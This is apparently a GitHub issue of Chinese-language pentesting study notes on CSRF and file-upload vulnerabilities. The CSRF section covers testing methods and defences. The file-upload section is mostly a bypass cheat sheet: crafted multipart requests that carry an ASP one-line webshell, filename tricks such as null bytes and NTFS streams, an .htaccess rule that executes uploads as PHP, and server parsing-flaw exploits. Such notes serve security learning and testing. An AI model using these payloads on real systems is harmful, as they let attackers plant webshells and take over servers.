CSRF & 文件上传
PyxYuYu opened this issue · comments
Better master one than engage with ten.
0x01 CSRF
CSRF
跨站请求伪造- 一种使已登录用户在不知情的情况下执行某种动作的攻击
- 因为攻击者看不到伪造请求的结果,所以
CSRF
攻击主要用于执行动作,而非窃取用户数据 - 当受害者是一个普通用户时,
CSRF
可以实现在其不知情的情况下转移用户资金、发送邮件等操作 - 当受害者是一个管理员时,
CSRF
则可以威胁到整个Web
系统的安全
- 成因
- 开发人员对
CSRF
的了解不足,错把经过认证的浏览器发起的请求
当成经过认证的用户发起的请求
- 已认证的用户点击攻击者构造的恶意链接后就会执行对应的操作
- 简单的身份验证只能确保请求发自某个用户的浏览器,而不能确保请求本身是用户自愿发出的
- 开发人员对
GET型 CSRF
- 如果有
token
等验证参数,去掉参数尝试是否能正常请求,如果可以,说明存在 - 直接在
URL
构造触发
- 如果有
POST型 CSRF
- 如果有
token
等验证参数,去掉参数尝试是否能正常请求 - 如果可以,继续去掉
referer
参数,仍然可以,说明存在 - 如果直接去掉
referer
参数请求失败,可以验证对referer
的判断是否严格,是否看绕过 POST
请求是否可以改写成GET
请求- 利用
BurpSuite
抓包,右键Engagement tools
,选择Generate CSRF PoC
- 保存代码到本地进行构造
- 利用
JS
可以实现自动提交,不用受害者点击Submit
- 如果有
Flash CSRF
- 通常是由于
crossdomain.xml
文件配置不当造成的,利用方法是使用swf
来发起跨站请求伪造,如Flash
跨域权限管理文件设置为允许所有主机/域名跨域对本站进行读写数据
<cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>
Flash
跨域权限管理文件过滤规则不严(domain="*"
),导致可以从其他任何域传Flash
产生CSRF
- 判断是否存在
Flash CSRF
,可以在根目录打开crossdomain.xml
来查看
http://www.xxx.com/crossdomain.xml
- 防御方法
- 控制好权限,
crossdomain.xml
精确到子域
- 控制好权限,
- 通常是由于
CSRF
修复方案- 攻击者获取不到伪造请求的响应结果,所以仅对那些会产生数据改变的服务进行重点防护即可
- 验证
HTTP Referer
字段- 在通常情况下,访问一个安全受限页面的请求来自同一个网站,
HTTP
头中的Referer
字段记录了该HTTP
请求的来源地址,如果Referer
中的地址不是来源于本网站则可认为是不安全的请求,应予拒绝 - 这种方法简单易行,对于现有的系统只需再加上一个检查
Referer
值的过滤器,无需改变当前系统的任何代码和逻辑 - 但是,这种方法也存在一些问题
Referer
的值是由浏览器提供的,虽然HTTP
协议上有明确的要求,但是每个浏览器对于Referer
的具体实现可能有差别,并且不能保证浏览器自身没有安全漏洞,将安全交给第三方保证不可靠- 用户可能会处于保护隐私等原因禁止浏览器提供
Referer
,这样的话正常的用户请求也可能因没有Referer
信息被误判为不安全的请求,无法提供正常的使用
- 在通常情况下,访问一个安全受限页面的请求来自同一个网站,
- 添加
token
- 在
HTTP
请求中以参数的形式添加一个随机的token
,并在服务器端检查这个token
是否正确,如不正确,则认为不安全 - 注意:如果网站同时存在
XSS
漏洞,上述的token
方法可能失效,因为XSS
可以模拟浏览器执行操作,攻击者可以通过XSS
读取token
,构造出合法的用户请求
- 在
- 添加验证码
- 提交数据之前,让用户输入验证码,或者在用户进行关键操作时,让用户重新输入密码,手机验证码等进行验证
Flash crossdomain.xml
- 跨域获取信息权限做好控制,精确到子域
- 精确配置好信任域的同时,也要验证用户上传的文件内容,攻击者可以上传任意后缀但是内容为
Flash
的文件继续进行CSRF
- 验证
- 攻击者获取不到伪造请求的响应结果,所以仅对那些会产生数据改变的服务进行重点防护即可
0x02 文件上传
- 导致文件上传漏洞的原因较多,主要以下几类
- 服务器配置不当
- 开源编辑器上传漏洞
- 本地文件上传限制绕过
- 过滤不严或被绕过
- 文件解析漏洞导致文件执行
- 文件路径截断
- 服务器配置不当
- 在不需要上传页面的情况下便可导致任意文件上传
IIS
写权限的利用
- 在不需要上传页面的情况下便可导致任意文件上传
- 开源编辑器上传漏洞
- 很多开源的编辑器历史上都有不同的上传漏洞
- 本地文件上传限制绕过
- 只在客户端浏览器上做了文件限制,而没在远程服务器上做限制,只要修改数据包就可以轻松绕过限制
- 本地限制绕过的方法
- 使用
BurpSuite
等工具代理修改浏览器传输的数据包,改包重放 - 禁用浏览器的
JavaScript
使本地限制脚本失效 - 使用浏览器的控制台修改网页和代码使本地限制失效
- 使用浏览器插件对网页进行修改或对数据包进行修改使限制失效
- 使用
- 过滤不严或被绕过
- 有些网站上使用了黑名单过滤掉了一些关键的可执行文件脚本后缀等,但黑名单不全或者被绕过,导致可执行脚本被上传到服务器上,执行
- 常用的可执行文件脚本的后缀
php php2 php3 php5 phtml asp aspx ascx ashx cer jsp jspx
- 有时候,由于管理员错误的配置服务器会导致
.html
、.xml
等静态页面后缀的文件也可被执行 - 当上传文件保存磁盘为
NTFS
格式时,可以通过shell.php::$DATA
绕过黑名单限制Windows
在创建文件时,在文件名末尾不管加多少个点.
都会自动去除,那么上传时filename
可以这么写shell.php......
也可以这么写shell.php::$DATA.......
- 有时服务器只有对第一个被上传的文件进行检查,通过同时上传多个文件并将恶意文件掺杂其中绕过
Content-Disposition: form-data; name="file"; filename="a.jpg" Content-Disposition: form-data; name="file"; filename="a.asp"
- 多个
Content-Disposition
绕过- 在
IIS
环境下,上传文件如果存在多个Content-Disposition
,IIS
会取第一个作为接收参数,如果WAF
只验证最后一个就会被绕过 - 抓包修改为多个
Content-Disposition
,第一个filename="shell.php"
- 在
- 请求正文顺序绕过
- 正常的
upload
请求顺序是
Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream
IIS 6.0
下修改为:
Content-Disposition: form-data; name="file1"; Content-Type: application/octet-stream filename="shell.asp"
- 正常的
- 结合
.htaccess
指定某些文件使用PHP
来解析- 通常用于绕过
WAF
黑名单,配置该目录下所有文件都将其使用PHP
来解析
// 修改 .htaccess 文件,抓包上传修改 <FilesMatch "shell"> SetBandler application/x-httpd-php </FilesMatch> // 上传 shell.jpg,就会以 PHP 来执行
- 通常用于绕过
- 特殊字符绕过
- 当上传一个文件的
filename
为shell.php{%80-%99}
,WAF
可能识别为.php{%80-%99}
,就会导致被绕过 \n
name=\n"file";filename="a.php" Content-Disposition:\n a.jpg.\nphp file\nname="php.php"
0x00
a.asp0x00.jpg a.php%00.jpg
- 空白符
// 点号前面可以是一个或者多个空格 filename="a.php ."
- 当上传一个文件的
head
头绕过head
头的Content-Type: tab
(空格)head
头的Content-Type: multipart/form-DATA;
head
头的Content-Type: multipart/form-data;\n
exee
扩展名- 上传
.exe
文件通常会被WAF
拦截,可以修改为.exee
上传
- 上传
boundary
导致的绕过boundary
空格绕过(其他可正常处理的字符也可以)
boundary= --------------------------4717428321317391491
boundary
不一致绕过
Content-Type: multipart/form-data; boundary=---------------------------47146314211411730218525550ddd99 Content-Length: 253 -----------------------------4714631421141173021852555099 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------4714631421141173021852555099--
boundary
和Content-Disposition
中间插入换行绕过
MIME
类型导致的绕过- 修改
Content-Type
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099 Content-Length: 238 -----------------------------4714631421141173021852555099 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: image/gif <%eval request("a")%> -----------------------------4714631421141173021852555099--
- 修改
- 增加
ASCII
绕过- 抓包,在文件后缀增加扩展的
ASCII
码,比如0x88、0xb0、0xc0、0xaa、0xcc
等
- 抓包,在文件后缀增加扩展的
- 覆盖空文件绕过
- 第一次上传创建空文件
filename="a.php:jpg"
- 第二次上传附带一句话
filename="a.<<<"
- 第一次上传创建空文件
Content-Disposition
绕过WAF
对其长度处理不够
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099 Content-Length: 1933 -----------------------------4714631421141173021852555099 Content-Disposition: form-data; name="file1"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------4714631421141173021852555099--
- 去掉
Content-Disposition
的form-data
字段 - 删除
Content-Disposition: form-data;
Content-Disposition: form-data;
中改为f+orm-data
或 大小写Content-Disposition: form-data;
中改为form-data11111111
Content-Disposition:
后添加多个空格Content-Disposition: form-data;
后添加多个空格Content-Disposition\00:
{char} + Content-Disposition
- 大小写匹配
conNtent-Disposition
- 删除
Content-Type: text/html
- 文件名绕过
- 利用点、符号构造超长文件名
filename="shell..............................................................................................................asp"
- 文件名使用非字母数字超长文件名,如中文
filename="呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜.asp" // 不行的话,如果有解析漏洞,可以尝试 filename="shell.asp;呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜.jpg"
- 文件名
filename="php.php"
filename="a.php:1.jpg"
filename=a.asp
filename="a.php?X"
(X
代表空格%20
或其他特殊字符{%80-%99}
0x90
)filename="a.php+回车符(换行)"
filename="a.php " // 变形 filename="a.php sdf:"
filename?="a.asp"
(其中的?
为0xff
等非可打印字符的十六进制)filename="a.a(0xff)s(0xff)p"
- 双文件名
filename="a.txt";filename="a.php";
- 文件头绕过
- 木马最前端加入一些文件信息
Gif89a
- 文件解析漏洞导致文件执行
- 服务器上存在文件解析漏洞时,合法的文件名变可导致带有恶意代码的文件被执行
Apache 1.X 2.X
解析漏洞- 解析文件名的方式是从后向前识别扩展名,直到遇见
Apache
可识别的扩展名停止
抓包修改上传的文件名:shell.php.ddd
- 解析文件名的方式是从后向前识别扩展名,直到遇见
IIS 6.0
解析漏洞- 目录名包含
.asp、.asa、.cer
的话,则该目录下的所有文件都将按asp
解析 - 文件名中如果包含
.asp、.asa、.cer
的话,则优先使用asp
解析 - 注:如果上传文件会被自动重命名就无法操作了
- 目录名包含
Nginx
解析漏洞Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37
- 以上版本下,上传一个在
WAF
白名单之内扩展名的文件shell.jpg
,就会以shell.jpg%00.php
进行请求(在图片中嵌入PHP
代码)
- 以上版本下,上传一个在
Nginx 0.8.41 ~ 1.5.6
- 以上版本下,上传一个在
WAF
白名单之内扩展名的文件shell.jpg
,就会以shell.jpg%20.php
进行请求
- 以上版本下,上传一个在
PHP CGI
解析漏洞IIS 7.0/7.5
Nginx < 0.8.3
- 以上版本默认
PHP
配置文件cgi.fix_pathinfo=1
时,上传一个存在于白名单的扩展名文件shell.jpg
,在请求时以shell.jpg/shell.php
请求
- 文件路径截断
- 在上传的文件中使用一些特殊符号,使得文件被上传到服务器的路径被截断从而控制文件路径
- 常用的文件路径截断字符
\0 ? %00 0x00
- 在可以控制文件路径的情况下,使用超长的文件路径也可能会导致文件路径截断